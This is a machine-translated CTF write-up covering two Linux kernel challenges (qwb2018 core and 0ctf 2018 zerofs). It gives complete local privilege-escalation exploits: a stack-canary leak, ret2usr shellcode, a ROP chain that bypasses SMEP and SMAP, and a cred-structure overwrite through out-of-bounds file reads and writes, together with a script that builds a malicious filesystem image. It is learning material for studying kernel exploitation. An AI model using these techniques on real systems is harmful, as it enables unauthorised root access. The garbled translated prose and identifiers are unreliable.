This article mainly analyzes and exploits the kernel stack overflow and heap out-of-bounds access vulnerability.

qwb2018 core

Title links: pan.baidu.com/s/10te2a1LT… Password: ldiy

Decompress the official tar package, you can see the following four files:

In the command, start.sh is the qemu startup script. Change the -m parameter to 512M, otherwise the local startup cannot be normal. In addition, to facilitate debugging, unpack core.cpio and modify the init file init. The contents of the init file are as follows:

#! /bin/shmount -t proc proc /procmount -t sysfs sysfs /sysmount -t devtmpfs none /dev/sbin/mdev -smkdir -p /dev/ptsmount -vt devpts -o gid=4,mode=620 none /dev/ptschmod 666 /dev/ptmxcat /proc/kallsyms > /tmp/kallsymsecho 1 > /proc/sys/kernel/kptr_restrictecho 1 > /proc/sys/kernel/dmesg_restrictifconfig eth0 upudhcpc -i eth0ifconfig eth0 10.0.2.15 netmask 255.255.255.0route add default GW 10.0.2.2 insmod /core.kosetsid /bin/cttyhack setuidgid 1000 /bin/shecho 'sh end! \n'umount /procumount /sysCopy the code

The vulnerability module can be basically confirmed as core.ko. Kptr_restrict and DMESG_RESTRICT can ease the leakage of kernel information, unmount /proc and /sys directories, and further prevent users from viewing kernel information. Check start.sh to see that kasLR is enabled in the kernel. Note that the cat /proc/kallsyms > /tmp/kallsyms command is equivalent to reading part of the kernel symbol information from /tmp/kallsyms, which is convenient for writing the shellcode of weight lift later.

After unpacking core.cpio, check the following protection enabled by core.ko:

gdb-peda$ checksecCANARY    : ENABLEDFORTIFY   : disabledNX        : ENABLEDPIE       : disabledRELRO     : disabled
Copy the code

With NX and Stack Canary enabled, use Ghidra to open Core. ko and view its functions as follows:

The initialization function is as follows:

Undefined8 init_module(void){core_proc = proc_create(&DAT_001002fd,0x1b6,0,core_fops); printk(&DAT_00100302); return 0; }Copy the code

Core_fops is the file_operations structure of the kernel, which implements custom write, ioctl, and release functions. The ioctl function internally calls core_read, core_copy_func and other functions, as follows:

undefined8 core_ioctl(undefined8 param_1,int param_2,ulong param_3){ if (param_2 == 0x6677889b) { core_read(param_3); } else { if (param_2 == 0x6677889c) { printk(&DAT_001002f1,param_3); off = param_3; } else { if (param_2 == 0x6677889a) { printk(&DAT_001002d7); core_copy_func(param_3); } } } return 0; }Copy the code

The core_read function is not available in dmesg because the kernel policy is enabled previously.

void core_read(undefined8 param_1){ long lVar1; undefined4 *puVar2; long in_GS_OFFSET; byte bVar3; undefined4 auStack80 [16]; long local_10; bVar3 = 0; local_10 = *(long *)(in_GS_OFFSET + 0x28); printk(&DAT_0010027f); printk(&DAT_00100299,off,param_1); lVar1 = 0x10; puVar2 = auStack80; while (lVar1 ! = 0) { lVar1 = lVar1 + -1; *puVar2 = 0; puVar2 = puVar2 + (ulong)bVar3 * -2 + 1; } strcpy((char *)auStack80,"Welcome to the QWB CTF challenge.\n"); lVar1 = _copy_to_user(param_1,(long)auStack80 + off,0x40); If (lVar1! = 0) { swapgs(); return; } if (local_10 ! = *(long *)(in_GS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return; }Copy the code

Because it can be controlled by IOCTL

off

This global variable, thus controlling what is returned to the user at a particular offset on the kernel stack, can be used to reveal the stack cookie value by printing the leaked cookie and the return address of the function:

#include <stdio.h>#include <stdlib.h>#include <sys/stat.h>#include <fcntl.h>int main(int argc,char* argv[]){ int fd1 = open("/proc/core",O_RDWR); unsigned long long buf[0x1000]; memset(buf,'a',0x200); int off=0; if(argc>1) { off=strtol(argv[1],NULL,10); } printf("fd is %d\n",fd1); Ioctl (fd1, 0 x6677889c, off); Ioctl (fd1, 0 x6677889b, buf); for(int i =0; i<4; i++) { for(int m=0; m<4; m++) { printf("%016llx ",buf[i*4+m]); } printf("\n"); } return 0; }Copy the code

The results are as follows:

/ $ ./poc 64fd is 35d2043a60145af00 00007ffe2b41ecf0 ffffffffc03cc19b ffff96afda3efe40 ffffffffa19dd6d1 000000000000889b  ffff96afdf80fb00 ffffffffa198ecfa 6161616161616161 6161616161616161 6161616161616161 6161616161616161Copy the code

At this point, 5D2043A60145AF00 is the current kernel stack

cookie

Value that can be used for subsequent kernel ROP. Look at the core_write function:

undefined [16] core_write(undefined8 param_1,undefined8 param_2,ulong param_3){ ulong uVar1; long lVar2; printk(&DAT_00100239); if (param_3 < 0x801) { lVar2 = _copy_from_user(name,param_2,param_3); if (lVar2 == 0) { uVar1 = param_3 & 0xffffffff; goto LAB_00100084; } } printk(&DAT_00100254); uVar1 = 0xfffffff2; LAB_00100084: return CONCAT88(param_2,uVar1); }Copy the code

I can control it here

name

The contents of a global variable. Look at the core_copy_func function as follows:

undefined8 core_copy_func(ulong param_1){ undefined8 uVar1; ulong uVar2; undefined1 *puVar3; undefined *puVar4; long in_GS_OFFSET; byte bVar5; undefined auStack80 [64]; long local_10; bVar5 = 0; local_10 = *(long *)(in_GS_OFFSET + 0x28); printk(&DAT_00100239); if ((long)param_1 < 0x40) { uVar2 = param_1 & 0xffff; uVar1 = 0; puVar3 = name; puVar4 = auStack80; while (uVar2 ! = 0) { uVar2 = uVar2 - 1; *puVar4 = *puVar3; puVar3 = puVar3 + (ulong)bVar5 * -2 + 1; puVar4 = puVar4 + (ulong)bVar5 * -2 + 1; } } else { printk(&DAT_001002c5); uVar1 = 0xffffffff; } if (local_10 == *(long *)(in_GS_OFFSET + 0x28)) { return uVar1; } /* WARNING: Subroutine does not return */ __stack_chk_fail(); }Copy the code

Although there is a parameter detection, there is a sign comparison problem. When the passed parameter is negative, the detection of length can be bypassed and will be

name

The contents of global variables are copied onto the stack, causing stack overflow, and the next step is to consider how to perform ROP.

Method 1

First, we need to overwrite rip as the address of our shellcode function, so that when core_copy_func returns, our shellcode will be executed. Meanwhile, in order not to destroy other data on the stack, we choose shellcode of size 0x58. This just covers the return address. In shellcode, the two functions of commit_CREds (prepare_kernel_CREd (0)) will be executed. After the function is successfully executed, the program has root permission. In order to keep the kernel intact, we choose to repair the stack frame after the execution of these two functions. It also jumps to the location of the kernel function that should have been returned, core.ko+0x191, which is available from the previous information leak. The full exp is as follows:

#include <stdio.h>#include <stdlib.h>#include <sys/stat.h>#include <fcntl.h>typedef unsigned long long u64; u64 prepare_kernel_cred; u64 commit_creds; u64 ret_addr; u64 readkerneladdr(char* command){ FILE *fp; u64 kaddr; char buffer[80]; char* retbuf; fp=popen(command, "r"); fgets(buffer,sizeof(buffer),fp); retbuf = strstr(buffer," "); int addrlen = retbuf-buffer; Memset (buffer + addrlen, 0, 10); kaddr = strtoul(buffer,NULL,16); return kaddr; }void poc1_shellcode(){ int*(*userPrepare_kernel_cred)(int) = prepare_kernel_cred; void*(*userCommit_cred)(int*) = commit_creds; (*userCommit_cred)((*userPrepare_kernel_cred)(0)); asm("mov %rbp,%rsp"); // Fix stack frame ASM ("pop % RBP "); asm("mov %0,%%rax; \ // jump back to kernel function address JMP %% rx; : :"r"(ret_addr) :"%rax"); }int main(int argc,char* argv[]){ int fd1 = open("/proc/core",O_RDWR); prepare_kernel_cred = readkerneladdr("cat /tmp/kallsyms|grep prepare_kernel_cred"); commit_creds = readkerneladdr("cat /tmp/kallsyms|grep commit_creds"); u64 buf[0x1000]; memset(buf,'a',0x200); int off=64; if(argc>1) { off=strtol(argv[1],NULL,10); } printf("fd is %d\n",fd1); Ioctl (fd1, 0 x6677889c, off); Ioctl (fd1, 0 x6677889b, buf); u64 canary = buf[0]; ret_addr = buf[2]; U64 poc x100 [0] = {x90 x90 0, 0 x90, 0, 0 x90, 0 x90, 0 x90, 0 x90, 0 x90, canary, 0, & poc1_shellcode}; write(fd1,poc,0x100); The ioctl (fd1 x6677889a 0, 0 xf000000000000058); system("/bin/sh"); return 0; }Copy the code

The successful execution is as follows:

The advantage of this is that you don’t need to find the gadgets, but only if the core is turned onsmep,smapAfter these safeguards are enabled, the kernel layer cannot directly execute user-layer code. If you turn it onsmep,smapThe following error occurs:

Therefore, it is more common to construct a complete ROP chain to lift weights back to the user layer. Different from the current operation, which does not jump back to the user layer code during the whole execution process, all weight lifting function calls are controlled by data on the stack, and after the weight lifting function is executed, the user layer space is returned by iRET instruction.

Method 2

To bypass smeP, SMAP, and other safeguards, you need to construct a complete ROP chain and look for gadgets available in the kernel image. Here, ropper is used to dump the entire kernel with gadgets available. The kernel executable file in bzImage is dumped using the extract-vmlinunx script. The kernel executable file in bzImage is dumped using the extract-vmlinunx script.

extract-vmlinux ./bzImage > vmlinux
Copy the code

Next, use Ropper to extract the gadgets available in VMLinux as follows:

ropper --file ./vmlinx --nocolor > gadgets
Copy the code

Find pop Rdi, RET, MOV rdi, rax, iret, SWapgs and other instructions as follows:

.text:FFFFFFFF81126515                 pop     rdi.text:FFFFFFFF81126516                 retn​.text:FFFFFFFF8186EB33                 pop     rcx.text:FFFFFFFF8186EB34                 retn​.text:FFFFFFFF81623D0B                 mov     rdi, rax.text:FFFFFFFF81623D0E                 call    rcx​.text:FFFFFFFF810A0F49                 pop     rdx.text:FFFFFFFF810A0F4A                 retn​.text:FFFFFFFF81A012DA                 swapgs.text:FFFFFFFF81A012DD                 popfq.text:FFFFFFFF81A012DE                 retn​.text:FFFFFFFF81050AC2                 iretq
Copy the code

The ROP chain to be constructed is

Execute prepare_kernel_CREd (0) Assign the result of prepare_kernel_CREd to the RDI execution commit_CREds execution SWAPGS execution IRETCopy the code

The full exp is as follows:

#include <stdio.h>#include <stdlib.h>#include <sys/stat.h>#include <fcntl.h>typedef unsigned long long u64; u64 prepare_kernel_cred; u64 commit_creds; u64 ret_addr; u64 user_cs,user_rflags,user_ss,user_sp; u64 readkerneladdr(char* command){ FILE *fp; u64 kaddr; char buffer[80]; char* retbuf; fp=popen(command, "r"); fgets(buffer,sizeof(buffer),fp); retbuf = strstr(buffer," "); int addrlen = retbuf-buffer; Memset (buffer + addrlen, 0, 10); kaddr = strtoul(buffer,NULL,16); return kaddr; }void execshell(){ system("/bin/sh"); }void save_status(){ __asm__("mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ); }int main(int argc,char* argv[]){ int fd1 = open("/proc/core",O_RDWR); prepare_kernel_cred = readkerneladdr("cat /tmp/kallsyms|grep prepare_kernel_cred"); commit_creds = readkerneladdr("cat /tmp/kallsyms|grep commit_creds"); u64 buf[0x1000]; memset(buf,'a',0x200); int off=64; if(argc>1) { off=strtol(argv[1],NULL,10); } printf("fd is %d\n",fd1); Ioctl (fd1, 0 x6677889c, off); Ioctl (fd1, 0 x6677889b, buf); u64 canary = buf[0]; ret_addr = buf[2]; u64 kernelbase = prepare_kernel_cred-0x9cce0; u64 kerneloff =0xFFFFFFFF81000000- kernelbase; save_status(); U64 Rop x100 [0] = {x90 x90 0, 0 x90, 0, 0 x90, 0 x90, 0 x90, 0 x90, 0 x90, canary, 0, \ 0 xffffffff81126515 - kerneloff \ / / pop rdi, ret 0, \ prepare_kernel_cred,\ 0xFFFFFFFF8186EB33-kerneloff,\ //pop rcx,ret 0xFFFFFFFF810A0F49-kerneloff,\ //pop rdx,ret 0xFFFFFFFF81623D0B-kerneloff,\ //mov rdi,rax,call rcx commit_creds,\ 0xffffffff81a012da-kerneloff,\ //swapgs,popfq,ret 0,\ 0xFFFFFFFF81050AC2-kerneloff,\ //iret &execshell,\ //ret ip user_cs,\ user_rflags,\ user_sp,\ user_ss }; write(fd1,Rop,0x100); The ioctl (fd1 x6677889a 0, 0 xf0000000000000e0); return 0; }Copy the code

Modify start.sh as follows:

qemu-system-x86_64 \-m 512M \-kernel ./bzImage \-initrd  ./core.cpio \-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \-s  \-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \-nographic  \-cpu qemu64,+smep,+smap\
Copy the code

The poC results are as follows:

2018 0ctf-zerofs

Title connection: drive.google.com/file/d/1GlC… Unpack the package to obtain the following content:

Admins @ admins -- virtual machine: ~ / kernel/exercise/zerofs/public $ls - 11 MDRWXRWXR alhtotal - x 2 admins admins 4.0 K on December 22 DRWXRWXR -x 5 Admins admins 4.0k 12月 22 17:22.. -rw-r--r-- 1 Admins Admins 6.9m 3月 29 2018 bzimage-rw-rw-r -- 1 Admins Admins 3.1m 3月 30 2018 rootfs.cpio-rwxrwxr-x 1 Sh -rw-r--r-- 1 Admins admins 320K 3月 29 2018 Zerofs.koCopy the code

The run.sh script is as follows:

qemu-system-x86_64 -enable-kvm -s -cpu kvm64,+smep,+smap -m 512M -kernel ./bzImage -initrd ./rootfs.cpio -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" -monitor /dev/null -nographic 2>/dev/null
Copy the code

Enable smep, smap, and kaslr, unpack rootfs.cpio, init file as follows:

#! /bin/shmknod -m 0666 /dev/null c 1 3mknod -m 0660 /dev/ttyS0 c 4 64mount -t proc proc /procmount -t sysfs sysfs /syscat /root/signatureecho 2 > /proc/sys/kernel/kptr_restrictecho 1 > /proc/sys/kernel/dmesg_restrictinsmod /zerofs.kosetsid cttyhack setuidgid 1000 shumount /procumount /syspoweroff -fCopy the code

If kpTR_RESTRICT and dMESG_RESTRICT are enabled, kernel function addresses cannot be viewed.

The faulty kernel module is Zerofs. ko. Enable the security policy as follows:

This is a kernel file system module. It is a kernel file system module. It is a kernel file system module.

undefined8 main(void){ undefined8 local_10; Setresuid (0, 0); local_4c = fork(); if (local_4c == 0) { local_48 = "mount"; local_40 = "-o"; local_38 = "loop"; local_30 = "-t"; local_28 = "zerofs"; local_20 = "/tmp/zerofs.img"; local_18 = "/mnt"; local_10 = 0; execvp("/bin/mount",&local_48); } waitpid (local_4c, & local_50, 0); local_4c = fork(); if (local_4c == 0) { local_48 = "chown"; local_40 = "-R"; Local_38 = "1000.1000"; local_30 = "/mnt"; local_28 = (char *)0x0; execvp("/bin/chown",&local_48); } waitpid (local_4c, & local_50, 0); local_4c = fork(); if (local_4c == 0) { local_48 = "chmod"; local_40 = "-R"; local_38 = "a+rwx"; local_30 = "/mnt"; local_28 = (char *)0x0; execvp("/bin/chmod",&local_48); } waitpid (local_4c, & local_50, 0); return 0; }Copy the code

-o loop -t zerofs/TMP /zerofs.img/MNT/TMP /zerofs.img/MNT/TMP /zerofs.img/MNT/TMP /zerofs.img/MNT Subsequent reads and writes to mounted files trigger the callback function in Zerofs.ko.

Basic Concepts of Linux file system

To centrally manage file systems, Linux divides the file system into two layers of virtual file systems.

File systems export file read and write operations based on the data structure defined by the VFS. The VFS manages file systems in a unified manner, facilitating the user layer to use a unified interface, that is, Open

,read,writeTo the user, the specific file system is transparent and can be perceived as a virtual file system. The layout of a traditional file system on a disk is as follows:

Some basic concepts are as follows:

  • Superblocks (superblocks on disks) are used to store detailed information about the file system, such as the number of blocks, block size, free blocks, and so on

  • Inodes are used to store index nodes. Each inode has a number that the operating system uses to identify different files

  • The dentry (directory entry) holds the mapping between file names and inodes to speed up file lookup

  • Data blocks are used to store file or directory data

Next look at the zerofS kernel module implementation, check zerofS. ko module, initialization code is as follows:

int zerofs_init(void){ int iVar1; __fentry__(); Zerofs_inode_cachep = (kmem_cache *) kmem_cache_create (" zerofs_inode_cache ", 0 x20, 0, 0 x120000, 0). if (zerofs_inode_cachep ! = (kmem_cache *)0x0) { iVar1 = register_filesystem(&zerofs_type); // Register file system return iVar1; } return -0xc; }Copy the code

Register_filesystem registers a filesystem with the kernel. Of course, this filesystem cannot be accessed only through registration. You need to mount the corresponding filesystem to the device to access it.

Register_filesystem adds the registered filesystem to the global variable file_systems linked list. Zerofs_type is the file_system_type structure, as follows:

struct file_system_type { const char *name; int fs_flags; struct dentry *(*mount) (struct file_system_type *, int, const char *, void *); void (*kill_sb) (struct super_block *); struct module *owner; struct file_system_type * next; . }Copy the code

The third parameter is the callback function that is called when it is mounted. When a specific type of file system is mounted on the user layer, it is eventually forwarded to the corresponding kernel module’s mount function.

dentry * zerofs_mount(file_system_type *fs_type,int flags,char *dev_name,void *data){ dentry *extraout_RAX; undefined extraout_DL; undefined uVar1; uVar1 = SUB81(fs_type,0); __fentry__(uVar1,flags,(char)dev_name); mount_bdev(uVar1,(char)flags,extraout_DL,zerofs_fill_super); return extraout_RAX; }Copy the code

If the root node is empty, the super_block is not initialized. If the root node is empty, the super_block is initialized. If the root node is empty, the super_block is initialized.

if (s->s_root) { if ((flags ^ s->s_flags) & SB_RDONLY) { deactivate_locked_super(s); error = -EBUSY; goto error_bdev; } up_write(&s->s_umount); blkdev_put(bdev, mode); down_write(&s->s_umount); } else { s->s_mode = mode; snprintf(s->s_id, sizeof(s->s_id), "%pg", bdev); sb_set_blocksize(s, block_size(bdev)); error = fill_super(s, data, flags & SB_SILENT ? 1:0); // Call the corresponding kernel function to fill the superblock if (error) {deactivate_locked_super(s); goto error; } s->s_flags |= SB_ACTIVE; bdev->bd_super = s; }Copy the code

The flag of the FS_REQUIRES_DEV file system in zerofs is FS_REQUIRES_DEV, similar to file systems such as ext2 and ext4. When mounting file systems, physical devices are required as input. The default parameter of mount is -o loop, which means that the input file is attached to the system as a disk partition. Similar to mounting CD files. Dd bs=4096 count=100 if=/dev/zero of=image create a blank file and write the ext2 file format to the image using mkfs.ext2 image. Then mount it to the/MNT directory by mounting -t ext2./image/MNT. Here we have to manually create the corresponding Zerofs file system. There are the following problems in reverse analyzing the program:

The following problem occurs when you try to install the module on your own compiled Linux:

After some searching, it is found that the kernel and module may use rand_struct GCC plug-in to rearrange the variables of specific structures, that is to say, change the memory offset of some variables inside the structures. At this time, the structure offset identified by GHidra is invalid during the reverse analysis. It is also impossible to install and debug on a signed kernel.

In the following analysis, I saw some information that the module might be rewritten by SimpleFS, so I can look at the source code compared to the binary implementation to better understand the functionality of the module. Compare the fill_super function in the source code to comment, as follows:

int zerofs_fill_super(super_block *sb,void *data,int silent){ astruct *superblock; long lVar1; undefined8 uVar2; zerofs_inode *pzVar3; list_head *plVar4; undefined4 in_register_00000014; undefined8 uVar5; uint uVar6; undefined auVar7 [16]; xattr_handler **userdata; __fentry__(sb,data,CONCAT44(in_register_00000014,silent)); Superblock = (astruct *) __bread_gfp((sb->s_writers).rw_sem[2].writer.task,0,*(undefined4) *) & sb - > field_0x578, 8). if (superblock ! = (astruct *)0x0) { userdata = superblock->data; If (((* userData == (xattr_handler *) 0x4F52455A) && (userData [1] == (xattr_handler *) *)0x1000)) && (userdata[2] < (xattr_handler *)0x41)) { /* sb->s_magic */ (sb->s_writers).rw_sem[2].rw_sem.wait_list.prev  = (list_head *)0x4f52455a; /* sb->s_fsinfo */ sb->s_xattr = userdata; /* sb->s_maxbytes */ (sb->rcu).next = (callback_head *)0x1000; /* sb->s_op */ sb->s_cop = (fscrypt_operations *)&zerofs_sops; lVar1 = new_inode(sb); *(undefined8 *)(lVar1 + 400) = 1; Inode_init_owner (lVar1, 0, 0 x4000); *(super_block **)(lVar1 + 600) = sb; *(inode_operations **)(lVar1 + 0x118) = &zerofs_inode_ops; *(file_operations **)(lVar1 + 0x30) = &zerofs_dir_ops; auVar7 = current_time(lVar1); UVar5 = SUB168(auVar7 >> 0x40,0); UVar2 = SUB168 (auVar7, 0); *(undefined8 *)(lVar1 + 0x148) = uVar5; *(undefined8 *)(lVar1 + 0x18) = uVar5; *(undefined8 *)(lVar1 + 0xa8) = uVar5; *(undefined8 *)(lVar1 + 0x140) = uVar2; *(undefined8 *)(lVar1 + 0x10) = uVar2; *(undefined8 *)(lVar1 + 0xa0) = uVar2; pzVar3 = zerofs_get_inode(sb,1); *(zerofs_inode **)(lVar1 + 0x168) = pzVar3; plVar4 = (list_head *)d_make_root(lVar1); (sb->s_writers).rw_sem[2].rw_sem.wait_list.next = plVar4; uVar6 = -(uint)(plVar4 == (list_head *)0x0) & 0xfffffff4; } else { uVar6 = 0xffffffea; } __brelse(superblock); return (int)uVar6; } do { invalidInstructionException(); } while( true ); }Copy the code

Combined with SimpleFS, we can judge that the basic block size of Zerofs is 0x1000. The first block is super_block, the second block is inode index block, and the following is data block.

The inode structure is as follows:

struct inode{ int inode_number; int block_number; int mode; union { uint64_t file_size; uint64_t dir_children_count; }; }Copy the code

Refer to mkfs-simplefs to construct a basic mount zerofs file system. A null pointer dereference vulnerability of Zerofs_lookup was found in the construction process, the code is as follows:

After research, it was found that it could not be used. After checking zerofs functions on file reading and writing, it was found that there were vulnerabilities in the process of file reading and writing. The files read are as follows:

As can be seen, as long as the file size is set to -1 and the offset is set when the file is read, the kernel address can be read out of bounds. File write operations are as follows:

There is no judgment on the current file size and the offset to be written, so setting the offset can directly cause the kernel address to be written out of bounds.

Now that we have the ability to read and write kernel addresses out of bounds, it’s time to find ways to lift kernel addresses. In addition to doing this by calling commit_CREds (prepare_kernel_CREd (0)), as mentioned in the previous article, You can also increase program permissions by locating creD structures in the process and setting all the corresponding data uID-fsgid to 0. The structure of CRED is as follows:

struct cred { atomic_t usage; #ifdef CONFIG_DEBUG_CREDENTIALS atomic_t subscribers; /* number of processes subscribed */ void *put_addr; unsigned magic; #define CRED_MAGIC 0x43736564#define CRED_MAGIC_DEAD 0x44656144#endif kuid_t uid; /* real UID of the task */ kgid_t gid; /* real GID of the task */ kuid_t suid; /* saved UID of the task */ kgid_t sgid; /* saved GID of the task */ kuid_t euid; /* effective UID of the task */ kgid_t egid; /* effective GID of the task */ kuid_t fsuid; /* UID for VFS ops */ kgid_t fsgid; /* GID for VFS ops */ unsigned securebits; /* SUID-less security managemenCopy the code

Since the current kernel has the ability to read out of bounds, you can traverse the kernel address data to find the contents of the CRED structure that match the current process. Because it is a common user permission, the uid, GID, suID and other values in creD are 1000. Therefore, creD structures can be located by determining whether three consecutive 32-bit integers in memory have values of 1000. However, randstruct plug-in was used when the kernel was compiled, which destroyed the variable sorting inside part of the structure, so we located the structure offset of uid and other variables in the CRED structure through debugging. In prepare_CREds, the structure content of CRED is observed as follows:

Gef ➤ / 80 x wx $rsi0xffff95713f8a9300:0 XFFFFFFFF x000003e8 x0000003f 0 0 0 x000000030xffff95713f8a9310: 0x00000000 0x00000000 0x3faa1080 0xffff95710xffff95713f8a9320: 0x000003e8 0x000003e8 0x00000000 0x000000000xffff95713f8a9330: 0x00000000 0x00000000 0x000003e8 0x000000000xffff95713f8a9340: 0x00000000 0x00000000 0x00000000 0x000000000xffff95713f8a9350: 0x3f813630 0xffff9571 0x00000000 0x000000000xffff95713f8a9360: 0x00000000 0x00000000 0x000003e8 0x000003e80xffff95713f8a9370: 0x00000000 0x00000000 0x00000000 0x000000000xffff95713f8a9380: 0xb2c50660 0xffffffff 0x00000000 0x000000000xffff95713f8a9390: 0x000003e8 0x00000000 0x00000000 0x000000000xffff95713f8a93a0: 0x00000000 0x000003e8 0x00000000 0x000000000xffff95713f8a93b0: 0x00000025 0x80000000 0x00000000 0x00000000Copy the code

It can be seen that 0x3e8 (1000) is basically the corresponding ID value. The variable offset in CRED can also be determined by the function _sys_getgid, etc., as follows:

.text:FFFFFFFF81094970 sub_FFFFFFFF81094970 proc near ; CODE XREF: sub_FFFFFFFF81003960 + 54 write p.t ext: FFFFFFFF81094970; Sub_FFFFFFFF81003A25 + 4 b write p... text:FFFFFFFF81094970 call nullsub_1.text:FFFFFFFF81094975 push rbp.text:FFFFFFFF81094976 mov rax, gs:off_D300.text:FFFFFFFF8109497F mov rax, [rax+0B38h].text:FFFFFFFF81094986 mov rbp, rsp.text:FFFFFFFF81094989 mov esi, [rax+6Ch] //gid.text:FFFFFFFF8109498C mov rdi, [rax+80h].text:FFFFFFFF81094993 call sub_FFFFFFFF8112A300.text:FFFFFFFF81094998 pop rbp.text:FFFFFFFF81094999 mov eax, eax.text:FFFFFFFF8109499B retn.text:FFFFFFFF8109499B sub_FFFFFFFF81094970 endpCopy the code

Where the value at cred+0x6c is GID, the offset found can be compared when locating the CRED structure. When the first ID 0x3e8 is found, the remaining ID values are offset as follows: 6, 7, 12, 24, 25, 34, 39. Set the corresponding offset to 0 to complete permission promotion. Since we first mount the file system through the mount command and then create the POC process, the CRED structure of the POC process is most likely behind the kernel address that we control for out-of-bounds reads and writes, so we can simply search backwards from the kernel address that we control.

The script for creating a Zerofs file system is as follows:

from pwn import *zerofs_block0 = p64(0x4F52455A)+p64(0x1000)+p64(0x3)+p64(0)zerofs_block0 = zerofs_block0.ljust(0x1000,b"\x00")inode_block1 = p64(0x1)+p64(0x2)+p64(0x4000)+p64(1)inode_block1 +=p64(0x2)+p64(0x3)+p64(0x8000)+p64(0xffffffffffffffff)inode_block1 = inode_block1.ljust(0x1000,b"\x00")zerofs_block2 = b"test".ljust(256,b"\x00")zerofs_block2 += p64(2)zerofs_block2 = zerofs_block2.ljust(0x1000,b"\x00")zerofs_block3 = b"a"*0x1000block = zerofs_block0+inode_block1+zerofs_block2+zerofs_block3fimage = open("./tmp/zerofs.img","wb")fimage.write(block)fimage.close()
Copy the code

Exp is as follows:

#include <stdio.h>#include <stdlib.h>#include <unistd.h>#include <sys/types.h>#include <sys/stat.h>#include <fcntl.h>#include <assert.h>#include <sys/mman.h>int current_uid = 0x3e8; int search_modify(int* buf){ for(int i=0; i<0x10000/4-12; i++) { if(buf[i]==current_uid && buf[i+6]==current_uid&& buf[i+7]==current_uid &&buf[i+12]==current_uid && buf[i+24]==current_uid && buf[i+25]==current_uid&& buf[i+34]==current_uid && buf[i+39]==current_uid) { printf("find cred\n); buf[i]=0; buf[i+6]=0; buf[i+7]=0; buf[i+12]=0; buf[i+24]=0; buf[i+25]=0; buf[i+34]=0; buf[i+39]=0; return 1; } } return 0; }int main(int argc,char*argv[]){ int fd1 = open("/mnt/test",O_RDWR); if(fd1==-1) { printf("fd is -1\n"); exit(0); } printf("fd is %d\n",fd1); int buflen=0x10000; int buf[0x10000/4]={0}; int idx=0; int beginidx; printf("begin search\n"); if(argc>=2) idx=strtol(argv[1],NULL,10); beginidx=idx; for (idx; idx<=beginidx+0x10000; idx++) { lseek(fd1,idx*buflen,SEEK_SET); read(fd1,buf,buflen); if(search_modify(buf)) { printf("final idx is %d\n",idx); lseek(fd1,idx*buflen,SEEK_SET); write(fd1,buf,buflen); if(getuid()! =0) { printf("current uid is %d\n",getuid()); exit(0); } else{ system("/bin/sh"); return 0; } } } return 0; }Copy the code

The results are as follows:

During the actual testing, it was found that cred of other processes was occasionally changed to root (for example, the original shell process sh could also read the flag of root). Therefore, if it was found that the current process was not changed to root, it could be adjusted according to the final IDX variable. Use it as the program input parameter to search the process CRED structure again.

In the attempt to exploit the vulnerability by heap spray, the appropriate kernel structure was not found for heap spray. The purpose is to reveal the address of a specific function and locate a specific structure. In the future, the utilization method of Linux kernel spray will be studied.Copy the code

reference:

  1. www.eet-china.com/mp/a38145.h…

  2. Blog.eadom.net/writeups/0c…

For more information, please follow the public account “Moyun Security” to focus on smarter network attack and defense.